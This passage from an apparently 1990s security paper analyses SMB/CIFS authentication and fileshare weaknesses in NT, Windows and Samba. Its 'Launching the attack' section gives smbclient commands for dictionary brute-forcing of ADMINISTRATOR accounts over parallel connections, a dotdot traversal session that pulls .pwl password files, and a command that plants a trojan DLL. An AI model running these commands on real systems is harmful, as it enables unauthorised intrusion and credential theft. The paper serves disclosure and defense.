  722. filesystem including the normally inaccessible SAM security database.  If
  723. the
  724. server is running Samba itself, a null username and password may grant guest
  725. access.  Try some Unix accounts that have known or null passwords -- Samba
  726. by
  727. default disallows logins by accounts with null passwords, but for any
  728. allowable ones does not check for a valid user shell like other daemons do.
  729. Try likely null ones anyway since some sites may be configured to allow
  730. them.
  731. An exception to the null-password rule is Samba's default "pcguest" account
  732. in
  733. smb.conf, which many sites remap to "nobody" or something rather than create
  734. a
  735. new /etc/passwd entry.
  736. If the client supports password encryption, it uses the user's password as
  737. input to one or both of two possible encryption algorithms referred to as
  738. the
  739. LANMAN method and the NT method.  These algorithms are described in CIFS in
  740. excruciating detail, and reviewed in Appendix A here.  By deliberately
  741. dumbing
  742. down our negotiated protocol level we can eliminate the need for the
  743. NT-style
  744. field even if connecting to an NT-dialect server.  For backward
  745. compatibility
  746. NT accepts the LANMAN password format, which completely obviates the
  747. increased
  748. security supposedly given by long case-sensitive passwords.  It is important
  749. to understand that it is the CLIENT that chooses whether or not to use
  750. password encryption, and the server's "use encryption" security mode bit is
  751. just a gentle suggestion.  If a server cannot authenticate via a 24-byte
  752. crypto response it is supposed to use whatever is given AS PLAINTEXT.  This
  753. is
  754. another major weakness in the protocol spec, since a compliant server cannot
  755. enforce use of encryption!  We therefore don't even need "libdes" or the
  756. Samba
  757. crypto support for our attack kit, we can just send plaintext passwords.
  758. Furthermore, since at this point we can send multiple SetupAndX exchanges
  759. REGARDLESS of whether they succeed or fail, the opportunity for brute-force
  760. guessing is obvious.  Most stock client apps are not useful as brute-forcing
  761. engines since they exit after one or two failed authentications, but our
  762. patch
  763. kit modifies smbclient's send_login() routine to keep trying until it either
  764. succeeds or runs out of passwords to try.
  765. While this phase is ripe for brute-force attacks, it is also where servers
  766. might start logging things.  Entries wind up, relative to their respective
  767. system-root directories, in "audit.log" under Windows, "config\secevent.evt"
  768. under the NT system directory, and "var/log.smb" on a Samba server.
  769. Microsoft
  770. platforms [particularly NT] open their log files in an exclusive way that
  771. prevents other processes from directly reading or modifying them, and
  772. Samba's
  773. logfiles can be protected against normal users.  Unfortunately the default
  774. setup for what *gets* logged is weak or nonexistent.  Windows seems only to
  775. log full filesharing connection attempts, which do not happen at this phase,
  776. and the logging is controlled via simple SYSTEM.INI lines.  NT out of the
  777. box
  778. logs NOTHING -- one must configure the NT "system policy" to *do* the
  779. logging
  780. for both failed and successful user logins, and only the name given by the
  781. connecting client is saved -- NOT its IP address.  Other Microsoft platforms
  782. have the same problem.  Unless someone actively runs "netstat -a" during the
  783. attack or provides some third-party enhanced logging facility, no useful
  784. backtracing information will be saved.  The Samba server by default only
  785. logs
  786. successful filesharing connections.  This pretty much lets an attacker guess
  787. at Unix user passwords all day and never be noticed, similar to what vanilla
  788. rexec allows.  Setting up more meaningful logging gets rather involved and
  789. is
  790. covered later under "defenses."  In all cases, recall also that any TCP
  791. connections can be run through an intermediate relay which will cause the
  792. relay's IP address to be observed instead of the real source of an attack.
  793. NT servers exhibit several quirks worth mentioning, most of which reveal
  794. that
  795. the design of the authentication backend is at best naive.  A cleartext
  796. unicode NT password can be sent in smb_vwv8 but if the alignment is screwed
  797. up
  798. or the length given as uneven, the returned error is "parameter incorrect"
  799. and
  800. the event log entry is just "unexpected error."  If a properly formed NT
  801. password is given under NT LM dialect, encrypted or otherwise, any LANMAN
  802. style one in smb_vwv7 is apparently ignored.  Upon valid authentication,
  803. other
  804. error codes returned can mean things like "account disabled", "network
  805. access
  806. denied", "cannot log in from this workstation", as well as several others
  807. that
  808. arguably give out too much information that could help guide an attack.
  809. Users
  810. can be configured such that they can only log in from certain named clients,
  811. but not only can the client send an arbitrary caller name, it turns out that
  812. using either a null name or even a single space handily bypasses this silly
  813. restriction and allows the login anyway.
  814. NT has the capability to "lock out" accounts after some number of failed
  815. login
  816. attempts.  While there is no specific error to indicate this, it is quite
  817. easy
  818. to remotely determine [at least against NT 4.0 with non-permanent user
  819. lockout
  820. policy] when a temporary account lockout happens.  Any failed login usually
  821. causes the server to delay for 2 or 3 seconds before sending the SMB "access
  822. denied" error, to slow down brute-force attacks.  Attempts on a valid
  823. username
  824. will elicit these delayed responses until the lockout threshold is reached,
  825. and then suddenly there is NO delay anymore and subsequent guesses on the
  826. same username are denied immediately!  If account lockout is enabled, the
  827. default threshold is between 5 and 10 tries and the lockout time is 30
  828. minutes.  Therefore in most cases it doesn't take very long to make the
  829. lockout perceptibly happen.
  830. If attempts on one known-to-exist username triggers login-failure lockout
  831. but
  832. another one does not, chances are that the second one is the administrator
  833. account.  Conversely, if attempts on ADMINISTRATOR trigger lockout, it is
  834. probably a decoy and the real one has been renamed.  Lockout does not apply
  835. to the administrative account, with the ostensible idea being prevention of
  836. *total* denial of service attacks.  This leaves ADMINISTRATOR or the
  837. equivalent accountname open to unlimited guessing.  Even the access-denied
  838. delay can be effectively bypassed.  The delay is imposed per TCP connection,
  839. so by opening up 10 connections and pounding in different sets of passwords
  840. an attacker gets a tenfold increase in brute-force speed.  Such an attack
  841. probably occupies significant server CPU time since not only does the event
  842. logging go crazy, but each plaintext guess must be re-hashed on the *server*
  843. side for comparison against the stored OWF.  A workaround sometimes
  844. suggested
  845. to combat this is an obscure registry setting that causes the whole server
  846. to
  847. shut down when the event log fills, but that just allows an even worse
  848. denial
  849. of service.
  850. Phase 4: IPC Tree connect
  851. =========================
  852. Now that we are logged in, we can begin exploring what resources the target
  853. has to offer.  A "tree connect" traditionally implies a directory tree in a
  854. filesystem, but in SMB there is special type of shared resource referred to
  855. as
  856. a named pipe or IPC -- familiar terms to Unix people.  Tree connect is
  857. sometimes also called StartConnection or TCon.  A tree connect is performed
  858. to
  859. access any resource, be it a filesystem, a printer, or a named pipe.  Pipes
  860. provide a means for exchanging "API calls" of various types between client
  861. and
  862. server, and besides mentioning a couple of specific API types this document
  863. does not cover them in any further detail.  Besides, according to CIFS the
  864. newer [and Microsoft-originated, rather than third-party?] RPC facility is
  865. the recommended interface for such things, implying that the named-pipe API
  866. may eventually be phased out.  Nonetheless the current interface to get
  867. information about the server is still a named-pipe transaction, so in this
  868. case we need to do an IPC tree connect to obtain the server's "share list"
  869. and
  870. discover what *other* things we can connect to.
  871. There is a field in this SMB for a password, which is used if needed for
  872. accessing filesystems on share-level servers.  The IPC tree connect we need
  873. here should not require a password, but there may be odd cases or other
  874. types
  875. that do.  The other fields contain the service type and name which in this
  876. specific case are the two strings "IPC" and "\\SERVER\IPC$".  There is an
  877. AndX
  878. form of this SMB so more requests can be chained onto it -- often used for
  879. quick one-off requests such as getting share lists.  Sometimes the tree
  880. connect itself is tacked on to the SMB session setup as the AndX request.
  881. In
  882. general if a given phase doesn't appear by itself in a packet dump, check
  883. for
  884. an AndX in the previous request.  For example, session setup returning with
  885. a
  886. nonzero TID probably resulted from sending the setup and TCon as one big
  887. SMB.
  888. The Microsoft "net view \\servername" command should show the share-list of
  889. the target, EXCEPT for any "hidden" sharenames that end with "$" per the
  890. stupid client-side design.  [This is described below.]  If no existing TCP
  891. session is established yet, "net view" will behind the scenes go through all
  892. the SMB steps needed to get to this point.  We can usually see any and all
  893. shares with smbclient, where we specify "-L servername" to list them and
  894. some
  895. other info such as browse lists of neighboring machines.  These lists are
  896. all
  897. gotten via API transactions of various sorts with the well-known standard
  898. "\PIPE\LANMAN" service -- possibly because LANMAN 1 was the first dialect to
  899. support named pipes at all.  This a black box in the scope of this document
  900. but suffice to say it involves wacky strings like "WrLehDO" and "B16BBDz"
  901. plugged into SMB "Trans" requests.  Some but not nearly all of this is
  902. documented in CIFS.
  903. A successful tree connect response fills in a two-byte SMB header field
  904. called
  905. the tree-ID or TID.  This is another arbitrary cookie that the client must
  906. send back in with any subsequent interactions with the resource in question.
  907. A client can have more than one active TID at a time.  Once the IPC TID is
  908. established, I/O to the named pipe can begin.  After any successful TCon,
  909. the
  910. TCP connection should remain open even if there is no subsequent SMB
  911. activity
  912. for a while.  CIFS states that correct server behavior is that it should
  913. only
  914. time out truly inactive client connections, where "inactive" is apparently
  915. defined as having no current tree connections and not sending any SMB
  916. requests, but most servers seem to eventually knock down connections with
  917. or without active TIDs anyway.
  918. Errors here are many and varied, and again interpret_error helps us figure
  919. out what is going on.  In user-level security "access denied" means that the
  920. tree connect was attempted without the necessary prior authentication from
  921. SessionSetupAndX, and in share-level may simply mean the wrong share
  922. password
  923. was given.  "Bad password" is more common in the latter case.  Another
  924. common
  925. error is "invalid network name" from an attempt to connect to some resource
  926. that the server doesn't have.  Samba issues server-class "access denied" if
  927. its IP-level allow/deny configuration disallows a service TCon.  For the
  928. most
  929. part if any errors other than those just described are returned from an IPC
  930. TCon, we are probably in a fairly hopeless state and should start over.
  931. Some old clients cannot do user-level security, so the CIFS spec optionally
  932. allows for backward compatibility by having the server assume that the
  933. calling
  934. name of a client machine is also the username for session setup purposes.
  935. If the caller name maps to a known username and that user's correct password
  936. is supplied as a share password in a TCon, an implicit user login is
  937. performed
  938. and SetupAndX can be skipped.  NT and possibly other user-level Microsoft
  939. servers don't seem to comply with this, handing back "bad UID" errors for
  940. other SMB requests until a real session setup is completed.  Samba supports
  941. it
  942. by building an internal concept of the "potential user" of a given
  943. connection
  944. and checking if various names and SMB parameters from previous phases are
  945. valid usernames and passwords.  This does not necessarily imply protocol
  946. weakness or that SetupAndX should be skipped if possible -- Samba does most
  947. of its logging at TCon time, for example.  Besides, changing the attempted
  948. username in this scenario requires a new client connection with a different
  949. caller name.  Generally if a server specifies user-level security then any
  950. brute-force attack should be performed at the setup phase.
  951. Some servers deny certain kinds of API calls based on the rights of the user
  952. login; in particular, giving NT both a null username *and* password allows a
  953. session setup but is recorded [if at all] as an "anonymous" login rather
  954. than
  955. GUEST, and seems to deny viewing the share list and server info but allow
  956. viewing the browse list.  This is likely intentional, since clients need
  957. to make such periodic quick connections to master browsers to collect more
  958. "network neighborhood" info.  [See Samba's "nmbsync" utility for an
  959. example.]
  960. To clarify somewhat, a *share* list is equivalent to the exported
  961. filesystems
  962. on the target server, and a *browse* list contains names of neighboring
  963. computers.  This can easily be confused, especially where smbclient's
  964. routine
  965. to list server shares is still called browse_host!  Again, a server with a
  966. browse list often can be address-queried for each of the listed names to
  967. find
  968. more targets.  If we can dump the share list, this informs us what
  969. filesystem
  970. shares we might be able to start fooling with in the next phase.
  971. Phase 5: Fileshare tree connect
  972. ===============================
  973. This is the same as any other tree connect except that the service type
  974. becomes "A:" to mean "disk" [go figure...] and we connect to "\\SERVER\FOO"
  975. where FOO is the sharename.  Fileshares generally begin at a subdirectory
  976. somewhere in the local disk, and their names are usually unrelated to the
  977. subdirectory path.  Sharenames are chosen by human administrators, which
  978. along
  979. with the optional comment fields visible in the share list might at least
  980. hint
  981. at what they encompass.  A mounted share makes the subdirectory and
  982. everything
  983. from there downward visible to a client across the network.
  984. This phase is reached via successful completion of the client commands most
  985. familiar to users.  Usernames and passwords from dialogs or command-line
  986. arguments are supplied where needed.  Doing "Net use * \\SERVER\SHARE" makes
  987. a
  988. Microsoft client try contacting SERVER, mount the named SHARE, and assign
  989. the
  990. next free drive letter to it.  "Smbclient \\\\SERVER\\SHARE" with optional
  991. arguments is roughly equivalent, although the mount is only per-process and
  992. is
  993. disconnected when smbclient exits.
  994. A new TID is returned on success, which thereafter must appear in every SMB
  995. header that refers to this mount.  Almost all servers implement a
  996. distinction
  997. between read-only access to a fileshare and read-write.  WFWG and other
  998. share-level servers often provide for two possible passwords, one of which
  999. allows writing to the share.  User-level servers usually ignore any supplied
  1000. TCon password and presumably assign access rights based on the connecting
  1001. user.  NT of course has its slew of user privileges and ACLs on files and
  1002. directories -- the much-ballyhooed holdovers from VMS.  Samba primarily
  1003. relies
  1004. on Unix file permissions, madly swapping its effective unix UID around to
  1005. match that of corresponding SMB user session before trying to access files.
  1006. Samba also imposes several restrictions on "guest" sessions, such as not
  1007. being able to write anything.  There doesn't seem to be any clean way of
  1008. determining a remote session's access rights other than trying to perform
  1009. various operations.  Retrieving a directory or file obviously indicates
  1010. successful read access, and a simple low-impact way to check for write
  1011. access
  1012. is to try creating and then deleting a new directory.  At first this all
  1013. sounds reasonably secure if the surrounding UID and TID checking is sound,
  1014. but there are still a few problems with the fundamental design.
  1015. Most of the possible errors from this step have already been mentioned.
  1016. "Access denied" or "bad password" mean the obvious in user or share level
  1017. security modes; NT sends the former if a regular user tries to connect to
  1018. any
  1019. of the special C$ or ADMIN$ type of shares described below.  Share-level
  1020. servers usually allow unlimited guesses at share passwords, and deliberate
  1021. delays for incorrect passwords are almost unheard of here.  Thus they are
  1022. not
  1023. only open to the same types of brute-force attacks over the network, such
  1024. attacks can proceed almost at the speed of the intervening wire.  If the
  1025. guesses come in too fast some servers can't handle it and just belly-up --
  1026. WFWG is one example -- and it is often necessary to throttle back the
  1027. guessing
  1028. rate just to get all the way through a dictionary.
  1029. Microsoft clients seem to treat any resource name ending with "$" as
  1030. "hidden"
  1031. and it is even documented that while such fileshare names won't show up
  1032. during browsing, they are available to someone who "knows the name."  In
  1033. most cases smbclient will gladly show us all the hidden shares on a server
  1034. regardless, since once again any such concealment is up to the client side.
  1035. Interestingly, "IPC$" also falls into this class.  NT almost always sets up
  1036. a
  1037. predefined set of hidden administrative "default" shares, named "C$" for the
  1038. whole C drive, "D$" for the whole D drive if present, and "ADMIN$" or
  1039. perhaps
  1040. "WINNT$" pointing into the top of the system directory.  While visible via
  1041. smbclient, TCons to them by anything other than an administrator login are
  1042. generally denied but are always worth trying anyway.  As mentioned in
  1043. several
  1044. NT security texts these sharenames are automatically set up at every reboot,
  1045. making it likely that a cracked administrator password gives carte blanche
  1046. access to the entire machine.
  1047. Once a fileshare tree connection has been made, normal network-filesystem
  1048. I/O is possible using more SMBs to read and write files, search directories,
  1049. get and set attributes, do exclusive locks, or whatever.  This is why SMBs
  1050. can be large -- for efficiency, since data read or written occupies the
  1051. buffer portion of the blocks.  As in NFS, there is no concept of the current
  1052. directory except in the client, which must construct and send a full
  1053. pathname
  1054. along with the right TID for every file reference.  Despite the spec stating
  1055. that having any active tree connect should disable server timeouts, most
  1056. clients periodically send some kind of null SMB to keep things warm --
  1057. either
  1058. a SMB echo or, in the case of Samba, a status check of the root directory.
  1059. The opposite of TCon is an SMB called Tree Disconnect or TDis, which tears
  1060. down an existing TCon and invalidates the TID.  The transport connection
  1061. remains open for some time afterward, during which other SMBs including a
  1062. new
  1063. TCon can be issued.  Multiple tree connects can be currently active, such as
  1064. an open fileshare or two and a quick IPC to get an updated browse list or
  1065. something.
  1066. The ability to make several arbitrary fileshare tree connects has an
  1067. interesting side effect against Samba servers, which commonly make user home
  1068. directories available as the special [HOMES] share.  Where this share points
  1069. to changes dynamically if it matches an existing Unix user, and by default
  1070. the username to authenticate against is taken from the sharename unless
  1071. a different one is specified, say with "smbclient -U".  Thus a TCon to
  1072. "\\servername\user" makes just the user's home directory and downward
  1073. visible.
  1074. However, under many Samba configurations a TCon to the name of some account
  1075. whose home directory is "/" allows the client to view the server's entire
  1076. filesystem.  Therefore one can user-level authenticate as "joe" but then
  1077. TCon
  1078. to "root" or "bin" and explore the whole machine, albeit only as joe's Unix
  1079. UID.  This also works against a share-level Samba, since we can either
  1080. perform
  1081. user-level setup regardless or use the "implied user" client-name feature
  1082. and
  1083. ask for the different user's sharename.  A potentially worse side effect is
  1084. that a TCon to the "sharename" of a user that does not exist returns
  1085. "network
  1086. name not found", while connecting to one that *does* exist either works or
  1087. returns "access denied" depending on whether the client is in as a real user
  1088. or a guest.  Regardless of TCon success or failure, the extant ones also
  1089. start
  1090. getting added to the visible share list for that client connection!  This
  1091. allows a client to scan for valid usernames even if only logged in as a
  1092. guest,
  1093. albeit at the risk of being extensively logged.  A bunch of blind TCon
  1094. attempts can be made and the Samba server conveniently collects the locally
  1095. valid usernames into a viewable list.
  1096. Microsoft servers are not immune to such games either, since most Microsoft
  1097. clients make a single TCP connection and rely on the UID and integrity of
  1098. the
  1099. network layer to keep user rights separated.  Once a UID is valid across a
  1100. given TCP session, it can be used to mount and mess with pretty much any
  1101. other
  1102. shares the server offers.  The couple of known exceptions are the special NT
  1103. admin shares and Samba's guest restrictions.  As CIFS support is developed
  1104. for
  1105. other platforms, the same is likely to be true there too.  Some new Unix
  1106. variants already have an SMB network fileystem kernel driver.  Unfortunately
  1107. servers are required by the spec to place entirely too much trust in client
  1108. machines.  For example, a share mounted by one particular user tends to
  1109. stick
  1110. around unless specifically disconnected, and thus may be available to
  1111. another
  1112. user who logs in later even if the new user normally has no account or
  1113. access
  1114. rights on the *server*.  A client could be compromised or network traffic
  1115. spoofed to send requests with an altered UID.  It is also not entirely clear
  1116. how "isolated" the TCP connections really are from each other, suggesting
  1117. that
  1118. messing around with UID/TID combinations might turn up a few surprises.  The
  1119. server simply expects every client to behave itself.
  1120. This was really driven home by the discovery of the now well known "dotdot"
  1121. bugs.  Since most filename parsing and cleanup is left to the client, it was
  1122. found that smbclient could send requests containing filenames of the form
  1123. "..\..\CONFIG.SYS" to easily escape the confines of the share.  Microsoft's
  1124. official excuse for this was that Samba is an "illegal client" and shouldn't
  1125. be used, but nonetheless released service packs with a couple of pathname
  1126. enforcement bandaids slapped on to the server code.  Samba itself didn't
  1127. fall
  1128. victim to this because its Unix-savvy implementors already knew long since
  1129. to
  1130. check for ".." and such in pathnames!  Part of the patch kit short circuits
  1131. dos_clean_name() to return without touching the given pathname, allowing us
  1132. more freedom to send arbitrary file paths and explore bugs of this sort.
  1133. This
  1134. is not an automated test; one must play and examine some directories to
  1135. figure
  1136. out whether a bug is being tickled or not.  A fairly reliable way to
  1137. automate
  1138. such a check is to examine the first entries in directory listings of "\"
  1139. and
  1140. "..\" and compare file attributes; if they are different then something is
  1141. not
  1142. quite right.  There may be some other funky path formats that servers handle
  1143. badly; earlier versions of NT would even crash when asked for various bogus
  1144. pathnames.  There are some SMB flags to indicate support for long filenames,
  1145. which may confuse servers if changed in midstream or set under a dialect
  1146. that
  1147. isn't supposed to support them.
  1148. Launching the attack
  1149. ====================
  1150.  
  1151. The preceding explanation has not really detailed the specific real-world
  1152. steps needed to implement an attack.  Here we try and pull it all together.
  1153. Parameters that will vary are represented {thus}.
  1154. The attack engine is built from Samba 1.9.15p8, using the instructions and
  1155. patches given in Appendix B.  You will also need some password dictionaries,
  1156. which are available from numerous repositories.  If you have read this far,
  1157. it seems likely that you can handle this part.
  1158. Scan the target network for NetBIOS-aware hosts to build a list of hostnames
  1159. and IP addresses, perhaps trying a status query to a couple of them to check
  1160. for packet filtering.  The rest of this summarizes probing an individual
  1161. target, whose hostname or IP address is hereafter represented by {ip}.
  1162. If a known scope ID is in use, add "-i {scopename}" to all nmblookup and
  1163. smbclient commands.
  1164. Get the target's namelist, using the "*" status query and some type-0 name
  1165. guesses if "*" doesn't work.  Directed broadcast to x.y.z.255 may be useful
  1166. in
  1167. rare cases if one is able to receive all possible responses somehow; note
  1168. also
  1169. that the broadcast address may not be .255 for many subnets.
  1170.  nmblookup -B {ip} -S \*
  1171.  nmblookup -B {ip} -S {dns-name}
  1172.  nmblookup -B {ip} -S WORKGROUP#0
  1173. If a machine sporting the __MSBROWSE__ name is discovered, concentrate on
  1174. that
  1175. one since it potentially has a browse-list and information about its network
  1176. neighbors.  Plug the returned type-0x20 name in and get a share listing.
  1177. Use
  1178. an informative debug level, avoid using NT LM dialect, hide various client
  1179. info, and try some standard usernames and any type-0x3 names observed along
  1180. the way.  Many targets will accept a null password, but if a real one is
  1181. needed make some basic guesses such as the computername or username.  The
  1182. hacked client accepts passwords from standard input until it gets in, gets
  1183. interrupted, or hits EOF.
  1184.  smbclient -L {TARGET} -I {ip} -d 3 -n " " -m LANMAN2 -U ADMINISTRATOR
  1185.  smbclient -L {TARGET} -I {ip} -d 3 -n " " -m LANMAN2 -U ""
  1186. For the hard cases, pick a username or sharename that is likely to exist,
  1187. and
  1188. level a common-password dictionary file at it.  If you have not enabled the
  1189. UPPERCASE option, arrange to uppercase the dictionary first since success is
  1190. more likely.  Debug level 0 makes it run silently until it gets in or
  1191. exhausts
  1192. the dictionary.  To test for invalid password delays, use a higher debug
  1193. level
  1194. and manually observe the timing.  A sudden speedup in access errors probably
  1195. indicates account lockout and that further attempts on that account won't be
  1196. useful for at least another half an hour or so.
  1197.  smbclient -L {TARGET} -I {ip} -d 0 -n " " -m LANMAN2 \
  1198.    -U BACKUP < dictfile
  1199. Try connecting to the shares on an accessible target, testing for read/write
  1200. access, and exercising bugs.
  1201.  smbclient \\\\TARGET\\SNAME -n TRUSTME -m LANMAN2 -U JOEUSER -I {ip}
  1202.  smb: \> dir
  1203.  smb: \> md test
  1204.  smb: \> rd test
  1205.  smb: \> cd ..
  1206.  smb: \..\> dir
  1207.  smb: \..\> cd \..\..
  1208.  smb: \..\..\> dir
  1209.  smb: \..\..\> get config.sys -
  1210.  smb: \..\..\> cd windows
  1211.  smb: \..\..\windows\> get joeuser.pwl
  1212.  smb: \..\..\windows\> put trojan.dll winsock.dll
  1213. For the *really* hard cases that impose bad-password delays but allow many
  1214. attempts such as NT administrator accounts, split up [and optionally convert
  1215. to uppercase] a large dictionary and use the multi-connection hack.  A
  1216. convenient way to run it is inside "script", to record the details from any
  1217. process that successfully logs in.
  1218.  script logfile
  1219.  set DOIT = "smbclient -L {TARGET} -I x.y.z.q -d 0 -n ' ' \
  1220.    -m LANMAN1 -U ADMINISTRATOR"
  1221.  $DOIT < splitdict.1 &
  1222.  $DOIT < splitdict.2 &
  1223.  $DOIT < splitdict.3 &
  1224.  $DOIT < splitdict.4 &
  1225.  ... etc, up to 10 or however many concurrent ones it can handle ...
  1226. Collect the results, write the report, submit the invoice...
  1227. Now what?
  1228. =========
  1229. Where do we go from here?  If administrator-level access is gained the
  1230. possibilities are endless -- an account cracked during an attack is the same
  1231. credential needed for remote maintenance and registry editing, to install
  1232. hacked web pages and DLLs and drivers, modify startup files to run backdoor
  1233. daemons, or just wreak havoc.  Access as a regular user or even guest may
  1234. permit such games as well.  If the NT GUEST login is enabled, on most
  1235. servers
  1236. it gets more privileges than needed unless configured otherwise.  Even
  1237. read/write guest access to /tmp on a Samba server may be dangerous if its
  1238. shell users run any of hundreds of utilities that bounce critical data in
  1239. and
  1240. out of /tmp files.  This document does not address problems in other
  1241. services
  1242. such as FTP and Web since they are exhaustively explored in other documents,
  1243. but one should still consider the potential effects of concerted attacks on
  1244. those services *and* SMB together.
  1245. Intruders are already scanning routinely across the customer networks of
  1246. large ISPs, looking for vulnerable home PCs with technically illiterate
  1247. owners and factory-default setups.  The notoriously weak .PWL files are a
  1248. popular target, and woe betide those who use them to store working passwords
  1249. for other services.  The cable-TV modem systems now coming online function
  1250. just like bridged ethernets, freely allowing local broadcasts and other
  1251. shenanigans, which can turn your next door neighbor into an unintentional
  1252. intruder as his '95 box literally explores its "network neighborhood".  If
  1253. you
  1254. aren't scared yet, consider this scenario: You spend a day at home doing
  1255. work
  1256. via telecommuting.  Your company is both frugal and security-aware, and has
  1257. provided secure connectivity tools that you can use with your regular
  1258. personal
  1259. ISP account to access corporate files behind the firewalls.  You
  1260. inadvertantly
  1261. left filesharing "temporarily" turned on from something you were doing two
  1262. days ago.  While you are happily SSH'ing away, someone breaks into your
  1263. machine via SMB and without your knowledge, sensitive company files and
  1264. your personal finance records are stolen, viruses planted, and your secure
  1265. connection apps compromised.  Next time you use your SSH client, it quietly
  1266. spills its internal beans over the net to a stolen AOL account and within
  1267. ten
  1268. minutes your internal corporate network is overrun.  Since it appears that
  1269. your access credentials were involved, YOU may be held accountable.  But you
  1270. didn't do anything, and were always careful with your passwords!  A similar
  1271. scenario could easily occur with corporate laptops used to "get home" from
  1272. conferences and trade shows, which could still be a problem even if your
  1273. laptop is reasonably secure but the one belonging to the guy *next* to you
  1274. is
  1275. compromised!  Think about it...
  1276. The rest of this section wanders into a large area of blue-sky loose ends
  1277. that
  1278. in large part outlines the limits of the author's current knowledge.
  1279. Answers
  1280. to many of these may already be known, and if not then much is certainly
  1281. left
  1282. for those with the time and inclination to explore and think over.  Anyone
  1283. is
  1284. free to send information concerning any of these, as well as the inevitably
  1285. needed corrections to other parts of this document.
  1286. Windows cracking tools are already starting to appear.  At least one
  1287. password-
  1288. snarfing DLL is in the works for NT, as are security-targeted registry
  1289. editors
  1290. and NTFS tools.  Daemons to listen on network ports and start backdoor
  1291. command
  1292. shells probably exist already, and if nothing else there are shareware
  1293. "inetd"
  1294. and telnet-server equivalents available now.  Do not ask me where to get
  1295. these
  1296. things, because I have no clue.  Pointers, on the other hand, are always
  1297. welcome.
  1298. The \PIPE\LANMAN service is only one of several named-pipe services.  The
  1299. remote registry editor starts up a new IPC TCon and opens "\PIPE\winreg" to
  1300. do
  1301. its dirty.  Another service type seems to be called
  1302. \MAILSLOT\{various-things}
  1303. and shows up in browsing-related UDP traffic.  Domain logons try to locate
  1304. services such as \NET\NETLOGON and \NET\GETDC450, mostly via broadcast UDP.
  1305. There may be many undocumented services and API calls within either class,
  1306. reminding us that Microsoft historically likes to hide ill-considered or
  1307. insecure functionality there and count on obscurity to resist attack.  There
  1308. are also the fledgling DCE/RPC services which apparently are intended to
  1309. phase
  1310. out named pipes as the recommended transaction backend and clearly present
  1311. a whole 'nother swamp to explore.  If it is running, some part of RPC is
  1312. reachable via TCP port 135.  It seems likely that some of these services
  1313. can be accessed even if the file/printer sharing checkbox is NOT enabled.
  1314. Anyone who runs vanilla SMB over the open Internet is crazy, no matter how
  1315. good their backend server security is.  The protocol runs in the clear, and
  1316. is
  1317. thus just as vulnerable to TCP spoofing and hijacking as any other cleartext
  1318. session.  All it takes is one properly constructed SMB packet to make an
  1319. existing authenticated session do something nasty or blow open a big hole
  1320. that an attacker can enter through, and it doesn't even matter what the
  1321. server response is or how the real client handles it -- the damage is done.
  1322. There are already known man-in-the-middle attacks against the authentication
  1323. protocol.  Various SMB header fields are only 16 bits, and in addition have
  1324. been observed to be *very* predictable especially from relatively inactive
  1325. servers.  For instance, Samba uses the user's own UID for its SMB UID,
  1326. and TIDs from a quiet server vary little if at all.  NT seems to rather
  1327. consistently assign 2048 for both initial UIDs and TIDs, and increments by
  1328. either 1 or 2048 for new connections.  This suggests that blind TCP spoofing
  1329. attacks may nonetheless be effective even if an attacker cannot observe an
  1330. existing session.
  1331. One type of TCP attack involves "desynchronizing" an existing session
  1332. between
  1333. two hosts and taking over the connection.  As Laurent Joncheray's paper on
  1334. the
  1335. subject points out, such an attack is aided by the application protocol in
  1336. question having some element that sends data through the TCP stream but
  1337. causes
  1338. no change in the state of the application itself.  An example is telnet
  1339. options -- a telnet client can send any number of "do echo" commands and the
  1340. end user would never be the wiser.  An attacker uses this type of "null
  1341. data"
  1342. to push the TCP sequences out of each endpoint's windows, with the only side
  1343. effect being an "ack war" between the hosts as they desperately try to
  1344. resync,
  1345. and eventually the attacker controls the whole connection.  SMB has both an
  1346. echo and a session keepalive message, and it is likely that these could also
  1347. be used in a user-undetectable desync attack.
  1348. While separate TCP SMB sessions are supposed to be completely isolated from
  1349. each other, there is always a possibility that a server implementation could
  1350. "leak" or get them confused somehow.  Servers generally run as a single
  1351. process and manage several client connections internally, but how exactly
  1352. does a given one internally reference the parameters associated with each?
  1353. The concept of "UID scanning" has been suggested, and while I personally
  1354. have
  1355. my doubts about it there are still other various SMB fields to consider.  We
  1356. should not discount for one moment a server giving too much credence to
  1357. client-settable header parameters like UID, TID, PID, MID, and maybe even
  1358. source TCP ports.  The twelve filler bytes in TCP SMBs become relevant in
  1359. connectionless UDP mode for sorting out session IDs, and it would be no
  1360. surprise at all if the right combination of data there was able to, say,
  1361. reference an already existing TCP session.  Most server platforms seem able
  1362. to talk concurrently via either transport type.
  1363. There may be some magic hidden in the calling client name and/or the
  1364. username
  1365. that the client passes in.  Special user accounts of the form OTHERDOMAIN$
  1366. are
  1367. used in domain trust relationships, and recent Samba servers that at least
  1368. partially support domain logins have a small hook to not turn on the "guest"
  1369. bit for this type of user login.  A few remaining bits worth poking at could
  1370. include weaknesses in the Microsoft IP stack itself, as well as how well
  1371. various ill-formed service requests are handled.  Sending random data to the
  1372. listening ports of various NT services such as RPC and DNS can apparently
  1373. cause them to wack out or crash, implying that genuine security holes may
  1374. lurk there as well.  Snowing a site with bogus NMB name-registration and
  1375. master browser election traffic could have many interesting effects on local
  1376. workstations.  SMB clients must conform with a rather rigid request
  1377. structure,
  1378. but what happens if one does not?  Well-known vulnerabilities such as buffer
  1379. overflows and trust of user-modifiable data keep recurring in recent network
  1380. code under numerous operating systems, and something as large and complex as
  1381. NT or '95 is undoubtedly no exception.
  1382. Besides the oft-belabored network level denial-of-service attacks possible,
  1383. there is also a potential attack written right into the CIFS spec.  It
  1384. states
  1385. that if a server receives a new session transport connection from a given
  1386. client, it MAY assume that a reboot occurred and summarily drop any old
  1387. existing connections with that client.  Precisely what a "client" is in this
  1388. case is not well-defined, but implies that it is simply based on the claimed
  1389. client name.  Only a lunatic would write a server conformant with this, as
  1390. it
  1391. would allow anyone to remotely knock down SMB sessions all day, and sensibly
  1392. enough, none of the platforms mentioned herein allow this sort of nonsense.
  1393. Most servers rely on keepalive timeouts and network-level errors to ferret
  1394. out
  1395. dead client connections.
  1396. Defenses
  1397. ========
  1398. It is entirely reasonable to mentally lump CIFS in the same class as NFS,
  1399. and
  1400. view the security aspects of both with equal skepticism.  It should be
  1401. fairly
  1402. evident by now that this stuff is a real danger, and the happy kids in
  1403. Redmond
  1404. aren't going to be much help here.  To their credit, they have provided a
  1405. few
  1406. interesting bricks you can use when building your own walls and some of
  1407. these
  1408. are covered in detail in numerous books and FAQs.  The transport protocol is
  1409. also fairly easy to handle with familiar IP-level defense mechanisms, making
  1410. construction of that "layered defense" more feasible.  It is hoped that the
  1411. preceding bulk of this document has increased understanding how to probe
